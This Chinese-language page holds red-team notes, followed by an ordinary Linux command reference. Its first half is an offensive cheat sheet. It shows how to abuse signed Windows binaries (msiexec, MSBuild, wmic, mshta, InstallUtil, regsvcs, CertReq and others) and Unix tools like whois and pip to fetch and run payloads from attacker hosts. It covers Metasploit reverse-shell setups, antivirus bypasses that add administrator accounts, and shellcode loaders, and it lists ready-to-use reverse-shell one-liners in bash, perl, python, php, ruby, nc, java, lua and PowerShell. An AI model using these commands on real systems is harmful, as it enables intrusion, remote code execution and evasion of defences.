由于二进制文件desktopimgdownldr中的FunctionSHExpandEnvironmentStringsW使用硬编码地址,所以非管理员也能使用,而且无需注册表。

%systemroot%\Personalization\LockScreenImage

普通用户运行:

set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe
/lockscreenurl: https://xx.xx.xx.xx/xxx.ps1 /eventName:desktopimgdownldr

管理员执行成功了。同时生成了注册表。

C:\Windows\system32>desktopimgdownldr
/lockscreenurl:http://xx.xxx.xx.xx/test.ps1 /eventName:randomname

img

img

我的机器环境使用了COM +注册目录。因为修改了%systemroot%目录导致文件找不到它。

mklink /J "%TEMP%\Registration" C:\windows\Registration && set
"SYSTEMROOT=%TEMP%" && cmd /c desktopimgdownldr.exe
/lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr &
rmdir /s /q "%TEMP%\Registration"

重新建立软连接后可以在普通用户下成功运行。

img

CertReq

ertreq命令可用于从证书颁发机构(CA)请求证书,从CA检索对先前请求的响应,从.inf文件创建新请求,接受并安装对请求的响应,根据现有的CA证书或请求构造交叉认证或合格的从属请求,并签署交叉认证或合格的从属请求。 原本用于帮助windows进行证书认证。还能够作为上传,下载的重要工具。

用法

上传请求:

CertReq -Post -config https://example.org/ c:\windows\win.ini

下载POST请求,并显示内容(支持HTTP与HTTPS):

CertReq -Post -config https://example.org/ c:\windows\win.ini

下载POST请求,并保存到本地(支持HTTP与HTTPS):

CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt

Debug

个人测试的时候小文件是可以直接下载,估计50多kb左右,大文件会报错。

小文件:

img

大文件:

img

Unix-GTFOBins

windows有LOLbins,Unix下当然也有。

whois

whois用法

攻击机器监听

nc -l -p 12345 < "file_to_send"

靶机

RHOST=attacker.com
RPORT=12345
LFILE=file_to_save
whois -h $RHOST -p $RPORT > "$LFILE"

img

同理也能传递二进制文件,进行base64位编码。

base64 "file_to_send" | nc -l -p 12345
RHOST=attacker.com
RPORT=12345
LFILE=file_to_save
whois -h $RHOST -p $RPORT | base64 -d > "$LFILE"

PIP

PIP用法

利用php install来下载文件。

export URL=http://attacker.com/file_to_get
export LFILE=/tmp/file_to_save
TF=$(mktemp -d)
echo 'import sys; from os import environ as e
if sys.version_info.major == 3: import urllib.request as r
else: import urllib as r
r.urlretrieve(e["URL"], e["LFILE"])' > $TF/setup.py
pip install $TF

img

img

Msiexec

Windows 操作系统附带了一个 Windows 安装程序引擎,该引擎由 MSI 程序包用于应用程序的安装。解释包和安装产品的可执行程序就是 Msiexec.exe。

通过msfvenom发起msiexec攻击

让我们利用MeterpreterWindows攻击载荷生成 MSI 包文件(1.msi)如下所示,并作为侦听器启动multi/handler程序进行监听。

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109lport=1234 -f msi > 1.msi

windows下基于白名单获取shell的方法整理(上)

在msiexec 的帮助下,一旦您在远程计算机上执行 1.msi 文件,你会得到反向连接在您的本地计算机(Kali Linux).

msiexec /q /i http://192.168.1.109/1.msi

windows下基于白名单获取shell的方法整理(上)

use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.109
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > exploit

获得meterpreter会话如下:

windows下基于白名单获取shell的方法整理(上)

MSBuild

意思就是msbuild可以编译执行csharp代码。

在这里我们需要知道的是msbuild的路径

加载32位的shellcode需要用32位的msbuild

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

加载64位的shellcode需要用64位的msbuild

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe

我们这里用64位的shellcode和64位的win7来操作。

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 -f csharp

生成shellcode之后我们需要用到一个三好学生师傅的https://github.com/3gstudent/msbuild-inline-task

我们用的是executes x64 shellcode.xml的模板,把里面45行之后的改为自己的shellcode

然后msf监听

msfconsole
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 172.16.1.130
set LPORT 4444
set ExitOnSession false
set autorunscript migrate -n explorer.exe
exploit -j

在目标机器上运行

C:\Windows\Microsoft.NET\Framework64\v4.0.30319>MSBuild.exe "C:\Users\jack.0DAY\Desktop\exec.xml"

然后会话上线,某数字卫士无反应,并且正常执行命令

img

更多关于msbuild的内容可以参考三好学生师傅的文章

Wmic

WMIC .exe是一个 Microsoft 工具,它提供了一个 WMI命令行界面,用于本地和远程计算机的各种管理功能,还用于在本地或远程执行系统设置、停止进程和执行脚本等查询。因此,它可以调用 XSL 脚本(可增强样式表语言)。

通过Koadic发起Wmic.exe攻击

koadic是一个命令控制(C2)工具,类似Metasploit和Powershell Empire。使用koadic我们生成恶意XSL文件。koadic安装完成后,您可以运行./koadic 文件以启动 koadic,然后通过运行以下命令开始加载stager/js/wmic 程序,并将 SRVHOST 设置为程序回连IP。

use stager/js/wmic
set SRVHOST 192.168.1.107
run

windows下基于白名单获取shell的方法整理(上)

执行 WMIC 以下命令,从远程服务器下载和运行恶意 XSL 文件:

wmic os get /FORMAT:"http://192.168.1.107:9996/g8gkv.xsl"

windows下基于白名单获取shell的方法整理(上)

一旦恶意的XSL文件在目标计算机上执行,你将有一个僵尸连接,就像Metasploit回连的情况一样。

windows下基于白名单获取shell的方法整理(上)

模板

<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
    <ms:script implements-prefix="user" language="JScript">
    <![CDATA[
    var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
    ]]> </ms:script>
</stylesheet>

参考:利用wmic调用xsl文件的分析与利用 这里还有一个poc https://raw.githubusercontent.com/kmkz/Sources/master/wmic-poc.xsl

绑定程序运行

当test.exe运行时,cmd.exe也将运行

wmic.exe process call create "C:\\Windows\\system32\\reg.exe add

\\\\"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File

Execution

Options\\test.exe\\" /v \\"Debugger\\" /t REG_SZ /d \\"cmd.exe\\"/
f"

bypass

摘自https://mp.weixin.qq.com/s/LGe3SuCGiNMHNbfN6oTApw

在后续的测试变形中发现先执行wmic os,然后执行正常的命令即可绕过,如下所示:

sffdfdfgedgewrg

dgdsfgergeqgbsadf6565

对于wmic的绕过也可以先执行wmic然后exit退出,然后继续执行原始的下载命令即可,当然wmic也有其他方式可以进行绕过这里不展开介绍。

小扩展

下面介绍一个小的利用方式添加用户,其余白名单执行和利用方式可以自行研究~。这种调用的方式最早应该是由Casey Smith@subTee大佬分享一个技巧,利用wmic从本地或者远程调用xsl的方式来执行携带有payload的xsl文件。

首先执行wmic os。

img

然后再次执行wmic os get下载命令即可成功添加,此时未有拦截,如下所示:

img

img

当然,添加用户到到管理员组需要管理员权限,所以我在这里用了本地的管理员进行的执行,脚本主要是调用了windows的2个api函数进行创建用户和添加管理员组,分别为:

NetUserAdd //添加用户
NetLocalGroupAddMembers //添加用户到管理员

可能有人会问到xsl文件怎么执行的添加用户到管理员,因为这个整个流程是先将添加用户的c#脚本先转化为dll文件,然后使用DotNetToJScript将该dll文件转为为js,最后将转化为的js文件放在要落地执行的xsl文件里面。对于c#语言或者c++语言调用windows api添加用户至管理员组网上已经有很多代码,拿过来改改就行。然后使用Visual Studio的开发者工具将c#文件转化为dll文件。

语法:csc /target:library /out:输出文件 待转化的c#文件

img

然后使用DotNetToJScript将文件转化为js脚本文件(DotNetToJScript这个工具是由17年James Forshaw开源了一个工具DotNetToJScript,能够利用JS、Vbs等脚本加载.Net程序。)转化语法也比较简单。如下所示:

img

可以看出直接DotNetToJScript –o 待输出js文件 待转化文件。(但是该工具不能够绕过windwos 的amsi检测机制,如果要想绕过该防护可以使用另外一个工具GadgetToJScript(https://github.com/med0x2e/GadgetToJScript)

来看下DotNetToJScript工具转化后的js文件如下图所示:

img

img

处理流程大概是就是js通过调用一些windwos api的函数来对前面base64编码过后的代码进行解码,然后解码过后进行反序列化操作,因为工具是先序列化然后再base64编码。最后把文件写入xsl文件定义为Jscript语言,借助.net环境来实现代码功能。绕过之后貌似不再拦截原始的下载命令,但是需要退出该杀软才可以再次拦截原始的certutil或者wmic命令,(有的时候即使退出再重新开启也不会拦截)即使再次进入拦截,通过上述方法继续可以执行下载。

对于调用windows api绕过部分杀软添加管理员也是老生常谈了,也可以修改为接收参数的方式进行,把写好的文件编译为exe即可使用,相信聪明的你应该知道怎么做了~~~

img

绕过并添加到管理员组:

img

img

hta

Mshta.exe运行微软HTML应用程序主机,微软HTML应用程序主机是Windows应用用程序,负责运行HTA(HTML应用程序)文件。我们通运行HTML文件执行JavaScript和VBScript脚本。Mshta.exe可以解释这种文件。

下载姿势

添加最小化和自动退出hta程序的功能,执行过程中会最小化hta窗口,下载文件结束后自动退出hta程序

将以下代码保存为hta文件

<html>
<head>
<script>
var Object = new ActiveXObject("MSXML2.XMLHTTP");
Object.open("GET","http://192.168.1.1/1.exe",false);
Object.send();
if (Object.Status == 200)
{
    var Stream = new ActiveXObject("ADODB.Stream");
    Stream.Open();
    Stream.Type = 1;
    Stream.Write(Object.ResponseBody);
    Stream.SaveToFile("C:\\test\\1.exe", 2);
    Stream.Close();
}
window.close();
</script>
<HTA:APPLICATION
WINDOWSTATE = "minimize">
</head>
<body>
</body>  
</html>

利用msf攻击

Metasploit 包含生成恶意HTA文件的“HTA WebServer”模块,恶意文件通过Powershell运行有效负载。当用户导航到HTA文件时,将在执行有效负载之前由IE两次提示它们。

用户导航到HTA文件时,将在执行有效负载之前由IE两次提示它们。

use exploit/windows/misc/hta_server
msf exploit(windows/misc/hta_server) >set srvhost 192.168.1.109
msf exploit(windows/misc/hta_server) >set lhost 192.168.1.109
msf exploit(windows/misc/hta_server) >exploit

现在可以在受害者机器上执行mshta.exe恶意代码获得meterpreter会话

windows下基于白名单获取shell的方法整理(上)

在受害者机器上通过mshta.exe访问恶意hta远程文件,你就可以在本机获得shell。

mshta.exe http://192.168.1.109:8080/5EEiDSd70ET0k.hta

windows下基于白名单获取shell的方法整理(上)

获得受害主机shell:

windows下基于白名单获取shell的方法整理(上)

bitsadmin

bitsadmin是一个命令行工具,可用于创建下载或上传工作和监测其进展情况。xp以后的Windows系统自带

bitsadmin /transfer n http://192.168.1.1/1.exe  C:\test\update\1.exe

不支持https、ftp协议,php python带的服务器会出错

Installutil

Installer工具是一个命令行实用程序,允许您通过执行指定程序集中的安装程序组件来

安装和卸载服务器资源。此工具与System.Configuration.Install命名空间中的类一起使用

说明:Installutil.exe所在路径没有被系统添加PATH环境变量中,因此,Installutil命令无法

识别。

相关工具

https://github.com/khr0x40sh/WhiteListEvasion

msf攻击

可以用来bypass

exploit/windows/local/applocker_bypass

Installutil&csc配合使用

通过msfvenom生成C#的shellcode

msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 -f csharp

下载InstallUtil-Shellcode.cs,将上面生成的shellcode复制到该cs文件中

https://gist.github.com/lithackr/b692378825e15bfad42f78756a5a3260

csc编译InstallUtil-ShellCode.cs

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /unsafe /platform:x86 /out:D:\test\InstallUtil-shell.exe D:\test\InstallUtil-ShellCode.cs

编译生成的文件后缀名无所谓exe dll txt都可以,但只能InstallUtil.exe来触发

InstallUtil.exe执行 反弹shell

C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U D:\test\InstallUtil-shell.exe

参考https://www.blackhillsinfosec.com/how-to-bypass-application-whitelisting-av/

regasm和regsvcs

regasm和regsvcs都可以用来反弹shell的,而且方式也一样

下载这个cs文件 ,然后替换你的shellcode

msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 -f csharp

使用sn.exe生成公钥和私钥,如果没有sn命令你可能需要安装vs

sn -k key.snk

编译dll,注意文件的路径

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library /out:1.dll /keyfile:key.snk regsvcs.cs

用这两者上线

C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe 1.dll 
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe 1.dll

或者这样

C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe /U 1.dll 
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U 1.dll

上线成功。

uuid

文章https://research.nccgroup.com/2021/01/23/rift-analysing-a-lazarus-shellcode-execution-method/

红队技巧-利用uuid加载shellcode

文章https://mp.weixin.qq.com/s/1DvYNDiZc2iV1pXEn7GZEA

免杀

系列推荐:https://github.com/TideSec/BypassAntiVirus

payload分离免杀

免杀loader(20210220)

https://github.com/knownsec/shellcodeloader

https://github.com/1y0n/AV_Evasion_Tool

https://github.com/lengjibo/FourEye

shellcode loader

借助第三方加载器,将shellcode加载到内存中来执行。

https://github.com/clinicallyinane/shellcode_launcher

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 -e x86/shikata_ga_nai -i 5 -f raw > test.c

靶机执行

shellcode_launcher.exe -i test.c

msf监听正常上线

反弹shell

监听

nc

nc -lvvp 4444

bash

bash -i >& /dev/tcp/172.16.1.130/4444 0>&1
exec 5<>/dev/tcp/172.16.1.130/4444;cat <&5|while read line;do $line >&5 2>&1;done

perl

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.31.41",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

php

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

nc

nc -e /bin/sh 10.0.0.1 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999

java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

lua

lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

powershell

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 172.16.1.130 -port 4444

OpenSsl加密隧道反弹

https://mp.weixin.qq.com/s/-3uWqvn_sKH6zHYqdVTwuw

1、首先生成自签名证书,输入的时候默认回车即可:

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes

2、服务端监听8888端口:

openssl s_server -quiet -key key.pem -cert cert.pem -port 8888

3、Linux下使用mkfifo进行反弹shell:

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect Your ip:Your port> /tmp/s; rm /tmp/s

推荐linux使用

linux命令笔记

基础常用命令

  • 某个命令 --h,对这个命令进行解释

  • 某个命令 --help,解释这个命令(更详细)

  • man某个命令,文档式解释这个命令(更更详细)(执行该命令后,还可以按/+关键字进行查询结果的搜索)

  • Ctrl + c,结束命令

  • TAB键,自动补全命令(按一次自动补全,连续按两次,提示所有以输入开头字母的所有命令)

  • 键盘上下键,输入临近的历史命令

  • history,查看所有的历史命令

  • Ctrl + r,进入历史命令的搜索功能模式

  • clear,清除屏幕里面的所有命令

  • pwd,显示当前目录路径(常用)

  • firefox&,最后后面的 & 符号,表示使用后台方式打开 Firefox,然后显示该进程的 PID 值

  • jobs,查看后台运行的程序列表

  • ifconfig,查看内网 IP 等信息(常用)

  • curl ifconfig.me,查看外网 IP 信息

  • curl ip.cn,查看外网 IP 信息

  • locate 搜索关键字
    

    ,快速搜索系统文件/文件夹(类似 Windows 上的 everything 索引式搜索)(常用)

    • updatedb,配合上面的 locate,给 locate 的索引更新(locate 默认是一天更新一次索引)(常用)
  • date
    

    ,查看系统时间(常用)

    • date -s20080103,设置日期(常用)
    • date -s18:24,设置时间,如果要同时更改 BIOS 时间,再执行 hwclock --systohc(常用)
  • cal,在终端中查看日历,肯定没有农历显示的

  • uptime,查看系统已经运行了多久,当前有几个用户等信息(常用)

  • cat 文件路名,显示文件内容(属于打印语句)

  • cat -n 文件名,显示文件,并每一行内容都编号

  • more 文件名,用分页的方式查看文件内容(按 space 翻下一页,按 Ctrl + B 返回上页)

  • less
    

    文件名,用分页的方式查看文件内容(带上下翻页)

    • j 向下移动,按 k 向上移动
    • / 后,输入要查找的字符串内容,可以对文件进行向下查询,如果存在多个结果可以按 n 调到下一个结果出
    • 后,输入要查找的字符串内容,可以对文件进行向上查询,如果存在多个结果可以按 n 调到下一个结果出
  • shutdown
    
    • shutdown -hnow,立即关机
    • shutdown -h+10,10 分钟后关机
    • shutdown -h23:30,23:30 关机
    • shutdown -rnew,立即重启
  • poweroff,立即关机(常用)

  • reboot,立即重启(常用)

  • zip mytest.zip /opt/test/
    

    ,把 /opt 目录下的 test/ 目录进行压缩,压缩成一个名叫 mytest 的 zip 文件

    • unzip mytest.zip,对 mytest.zip 这个文件进行解压,解压到当前所在目录
    • unzip mytest.zip -d /opt/setups/,对 mytest.zip 这个文件进行解压,解压到 /opt/setups/ 目录下
  • tar -cvf mytest.tar mytest/,对 mytest/ 目录进行归档处理(归档和压缩不一样)

  • tar -xvf mytest.tar
    

    ,释放 mytest.tar 这个归档文件,释放到当前目录

    • tar -xvf mytest.tar -C /opt/setups/,释放 mytest.tar 这个归档文件,释放到 /opt/setups/ 目录下
  • last,显示最近登录的帐户及时间

  • lastlog,显示系统所有用户各自在最近登录的记录,如果没有登录过的用户会显示 从未登陆过

  • ls
    

    ,列出当前目录下的所有没有隐藏的文件 / 文件夹。

    • ls -a,列出包括以.号开头的隐藏文件 / 文件夹(也就是所有文件)
    • ls -R,显示出目录下以及其所有子目录的文件 / 文件夹(递归地方式,不显示隐藏的文件)
    • ls -a -R,显示出目录下以及其所有子目录的文件 / 文件夹(递归地方式,显示隐藏的文件)
    • ls -al,列出目录下所有文件(包含隐藏)的权限、所有者、文件大小、修改时间及名称(也就是显示详细信息)
    • ls -ld 目录名,显示该目录的基本信息
    • ls -t,依照文件最后修改时间的顺序列出文件名。
    • ls -F,列出当前目录下的文件名及其类型。以 / 结尾表示为目录名,以 ***** 结尾表示为可执行文件,以 @ 结尾表示为符号连接
    • ls -lg,同上,并显示出文件的所有者工作组名。
    • ls -lh,查看文件夹类文件详细信息,文件大小,文件修改时间
    • ls /opt | head -5,显示 opt 目录下前 5 条记录
    • ls -l | grep '.jar',查找当前目录下所有 jar 文件
    • ls -l /opt |grep "^-"|wc -l,统计 opt 目录下文件的个数,不会递归统计
    • ls -lR /opt |grep "^-"|wc -l,统计 opt 目录下文件的个数,会递归统计
    • ls -l /opt |grep "^d"|wc -l,统计 opt 目录下目录的个数,不会递归统计
    • ls -lR /opt |grep "^d"|wc -l,统计 opt 目录下目录的个数,会递归统计
    • ls -lR /opt |grep "js"|wc -l,统计 opt 目录下 js 文件的个数,会递归统计
    • ls -l,列出目录下所有文件的权限、所有者、文件大小、修改时间及名称(也就是显示详细信息,不显示隐藏文件)。显示出来的效果如下:
-rwxr-xr-x. 1 root root 4096 3月 26 10:57,其中最前面的 - 表示这是一个普通文件
lrwxrwxrwx. 1 root root 4096 3月 26 10:57,其中最前面的 l 表示这是一个链接文件,类似 Windows 的快捷方式
drwxr-xr-x. 5 root root 4096 3月 26 10:57,其中最前面的 d 表示这是一个目录
  • cd
    

    ,目录切换

    • cd ..,改变目录位置至当前目录的父目录(上级目录)。
    • cd ~,改变目录位置至用户登录时的工作目录。
    • cd 回车,回到家目录
    • cd -,上一个工作目录
    • cd dir1/,改变目录位置至 dir1 目录下。
    • cd ~user,改变目录位置至用户的工作目录。
    • cd ../user,改变目录位置至相对路径user的目录下。
    • cd /../..,改变目录位置至绝对路径的目录位置下。
  • cp 源文件 目标文件
    

    ,复制文件

    • cp -r 源文件夹 目标文件夹,复制文件夹
    • cp -r -v 源文件夹 目标文件夹,复制文件夹(显示详细信息,一般用于文件夹很大,需要查看复制进度的时候)
    • cp /usr/share/easy-rsa/2.0/keys/{ca.crt,server.{crt,key},dh2048.pem,ta.key} /etc/openvpn/keys/,复制同目录下花括号中的文件
  • tar cpf - . | tar xpf - -C /opt,复制当前所有文件到 /opt 目录下,一般如果文件夹文件多的情况下用这个更好,用 cp 比较容易出问题

  • mv 文件 目标文件夹
    

    ,移动文件到目标文件夹

    • mv 文件,不指定目录重命名后的名字,用来重命名文件
  • touch 文件名,创建一个空白文件/更新已有文件的时间(后者少用)

  • mkdir 文件夹名,创建文件夹

  • mkdir -p /opt/setups/nginx/conf/,创建一个名为 conf 文件夹,如果它的上级目录 nginx 没有也会跟着一起生成,如果有则跳过

  • rmdir 文件夹名,删除文件夹(只能删除文件夹里面是没有东西的文件夹)

  • rm 文件
    

    ,删除文件

    • rm -r 文件夹,删除文件夹
    • rm -r -i 文件夹,在删除文件夹里的文件会提示(要的话,在提示后面输入yes)
    • rm -r -f 文件夹,强制删除
    • rm -r -f 文件夹1/ 文件夹2/ 文件夹3/删除多个
  • find
    

    ,高级查找

    • find . -name *lin*,其中 . 代表在当前目录找,-name 表示匹配文件名 / 文件夹名,lin 用通配符搜索含有lin的文件或是文件夹
    • find . -iname *lin*,其中 . 代表在当前目录找,-iname 表示匹配文件名 / 文件夹名(忽略大小写差异),lin 用通配符搜索含有lin的文件或是文件夹
    • find / -name *.conf,其中 / 代表根目录查找,*.conf代表搜索后缀会.conf的文件
    • find /opt -name .oh-my-zsh,其中 /opt 代表目录名,.oh-my-zsh 代表搜索的是隐藏文件 / 文件夹名字为 oh-my-zsh 的
    • find /opt -type f -iname .oh-my-zsh,其中 /opt 代表目录名,-type f 代表只找文件,.oh-my-zsh 代表搜索的是隐藏文件名字为 oh-my-zsh 的
    • find /opt -type d -iname .oh-my-zsh,其中 /opt 代表目录名,-type d 代表只找目录,.oh-my-zsh 代表搜索的是隐藏文件夹名字为 oh-my-zsh 的
    • find . -name "lin*" -exec ls -l {} \;,当前目录搜索lin开头的文件,然后用其搜索后的结果集,再执行ls -l的命令(这个命令可变,其他命令也可以),其中 -exec 和 {} ; 都是固定格式
    • find /opt -type f -size +800M -print0 | xargs -0 du -h | sort -nr,找出 /opt 目录下大于 800 M 的文件
    • find / -name "*tower*" -exec rm {} \;,找到文件并删除
    • find / -name "*tower*" -exec mv {} /opt \;,找到文件并移到 opt 目录
    • find . -name "*" |xargs grep "youmeek",递归查找当前文件夹下所有文件内容中包含 youmeek 的文件
    • find . -size 0 | xargs rm -f &,删除当前目录下文件大小为0的文件
    • du -hm --max-depth=2 | sort -nr | head -12,找出系统中占用容量最大的前 12 个目录
  • cat /etc/resolv.conf,查看 DNS 设置

  • netstat -tlunp,查看当前运行的服务,同时可以查看到:运行的程序已使用端口情况

  • env,查看所有系统变量

  • export,查看所有系统变量

  • echo
    
    • echo $JAVA_HOME,查看指定系统变量的值,这里查看的是自己配置的 JAVA_HOME。
    • echo "字符串内容",输出 "字符串内容"
    • echo > aa.txt,清空 aa.txt 文件内容(类似的还有:: > aa.txt,其中 : 是一个占位符, 不产生任何输出)
  • unset $JAVA_HOME,删除指定的环境变量

  • ln -s /opt/data /opt/logs/data,表示给 /opt/logs 目录下创建一个名为 data 的软链接,该软链接指向到 /opt/data

  • grep
    
    • shell grep -H '安装' *.sh,查找当前目录下所有 sh 类型文件中,文件内容包含 安装 的当前行内容
    • grep 'test' java*,显示当前目录下所有以 java 开头的文件中包含 test 的行
    • grep 'test' spring.ini docker.sh,显示当前目录下 spring.ini docker.sh 两个文件中匹配 test 的行
  • ps
    
    • ps –ef|grep java,查看当前系统中有关 java 的所有进程
    • ps -ef|grep --color java,高亮显示当前系统中有关 java 的所有进程
  • kill
    
    • kill 1234,结束 pid 为 1234 的进程
    • kill -9 1234,强制结束 pid 为 1234 的进程(慎重)
    • killall java,结束同一进程组内的所有为 java 进程
    • ps -ef|grep hadoop|grep -v grep|cut -c 9-15|xargs kill -9,结束包含关键字 hadoop 的所有进程
  • head
    
    • head -n 10 spring.ini,查看当前文件的前 10 行内容
  • tail
    
    • tail -n 10 spring.ini,查看当前文件的后 10 行内容
    • tail -200f 文件名,查看文件被更新的新内容尾 200 行,如果文件还有在新增可以动态查看到(一般用于查看日记文件)

用户、权限-相关命令

  • 使用 pem 证书登录:

    ssh -i /opt/mykey.pem [email protected]
    
    • 证书权限不能太大,不然无法使用:chmod 600 mykey.pem
  • hostname,查看当前登陆用户全名

  • cat /etc/group,查看所有组

  • cat /etc/passwd,查看所有用户

  • groups youmeek,查看 youmeek 用户属于哪个组

  • useradd youmeek -g judasn,添加用户并绑定到 judasn 组下

  • userdel -r youmeek
    

    ,删除名字为 youmeek 的用户

    • 参数:-r,表示删除用户的时候连同用户的家目录一起删除
  • 修改普通用户 youmeek 的权限跟 root 权限一样:

    • 常用方法(原理是把该用户加到可以直接使用 sudo 的一个权限状态而已):

      • 编辑配置文件:vim /etc/sudoers
      • 找到 98 行(预估),有一个:root ALL=(ALL) ALL,在这一行下面再增加一行,效果如下:
       root    ALL=(ALL)   ALL
       youmeek    ALL=(ALL)   ALL
      
    • 另一种方法:

      • 编辑系统用户的配置文件:vim /etc/passwd,找到 rootyoumeek 各自开头的那一行,比如 root 是:root:x:0:0:root:/root:/bin/zsh,这个代表的含义为:用户名:密码:UserId:GroupId:描述:家目录:登录使用的 shell
      • 通过这两行对比,我们可以直接修改 youmeek 所在行的 UserId 值 和 GroupId 值,都改为 0。
  • groupadd judasn,添加一个名为 judasn 的用户组

  • groupdel judasn,删除一个名为 judasn 的用户组(前提:先删除组下面的所有用户)

  • usermod 用户名 -g 组名,把用户修改到其他组下

  • passwd youmeek,修改 youmeek 用户的密码(前提:只有 root 用户才有修改其他用户的权限,其他用户只能修改自己的)

  • chmod 777 文件名/目录
    

    ,给指定文件增加最高权限,系统中的所有人都可以进行读写。

    • linux 的权限分为 rwx。r 代表:可读,w 代表:可写,x 代表:可执行
    • 这三个权限都可以转换成数值表示,r = 4,w = 2,x = 1,- = 0,所以总和是 7,也就是最大权限。第一个 7 是所属主(user)的权限,第二个 7 是所属组(group)的权限,最后一位 7 是非本群组用户(others)的权限。
    • chmod -R 777 目录 表示递归目录下的所有文件夹,都赋予 777 权限
    • chown myUsername:myGroupName myFile 表示修改文件所属用户、组
    • chown -R myUsername:myGroupName myFolder 表示递归修改指定目录下的所有文件权限
  • su
    

    :切换到 root 用户,终端目录还是原来的地方(常用)

    • su -:切换到 root 用户,其中 - 号另起一个终端并切换账号
    • su 用户名,切换指定用户帐号登陆,终端目录还是原来地方。
    • su - 用户名,切换到指定用户帐号登陆,其中 - 号另起一个终端并切换账号
  • exit,注销当前用户(常用)

  • sudo 某个命令,使用管理员权限使用命令,使用 sudo 回车之后需要输入当前登录账号的密码。(常用)

  • passwd,修改当前用户密码(常用)

  • 添加临时账号,并指定用户根目录,并只有可读权限方法

    • 添加账号并指定根目录(用户名 tempuser):useradd -d /data/logs -m tempuser
    • 设置密码:passwd tempuser 回车设置密码
    • 删除用户(该用户必须退出 SSH 才能删除成功),也会同时删除组:userdel tempuser

磁盘管理

  • df -h
    

    ,自动以合适的磁盘容量单位查看磁盘大小和使用空间

    • df -k,以磁盘容量单位 K 为数值结果查看磁盘使用情况
    • df -m,以磁盘容量单位 M 为数值结果查看磁盘使用情况
  • du -sh /opt,查看 opt 这个文件夹大小 (h 的意思 human-readable 用人类可读性较好方式显示,系统会自动调节单位,显示合适大小的单位)

  • du -sh ./*,查看当前目录下所有文件夹大小 (h 的意思 human-readable 用人类可读性较好方式显示,系统会自动调节单位,显示合适大小的单位)

  • du -sh /opt/setups/,显示 /opt/setups/ 目录所占硬盘空间大小(s 表示 –summarize 仅显示总计,即当前目录的大小。h 表示 –human-readable 以 KB,MB,GB 为单位,提高信息的可读性)

  • mount /dev/sdb5 /newDir/
    

    ,把分区 sdb5 挂载在根目录下的一个名为 newDir 的空目录下,需要注意的是:这个目录最好为空,不然已有的那些文件将看不到,除非卸载挂载。

    • 挂载好之后,通过:df -h,查看挂载情况。
  • umount /newDir/
    

    ,卸载挂载,用目录名

    • 如果这样卸载不了可以使用:umount -l /newDir/
  • umount /dev/sdb5,卸载挂载,用分区名

wget 下载文件

  • 常规下载:wget http://www.gitnavi.com/index.html
  • 自动断点下载:wget -c http://www.gitnavi.com/index.html
  • 后台下载:wget -b http://www.gitnavi.com/index.html
  • 伪装代理名称下载:wget --user-agent="Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16" http://www.gitnavi.com/index.html
  • 限速下载:wget --limit-rate=300k http://www.gitnavi.com/index.html
  • 批量下载:wget -i /opt/download.txt,一个下载地址一行
  • 后台批量下载:wget -b -c -i /opt/download.txt,一个下载地址一行

其他常用命令

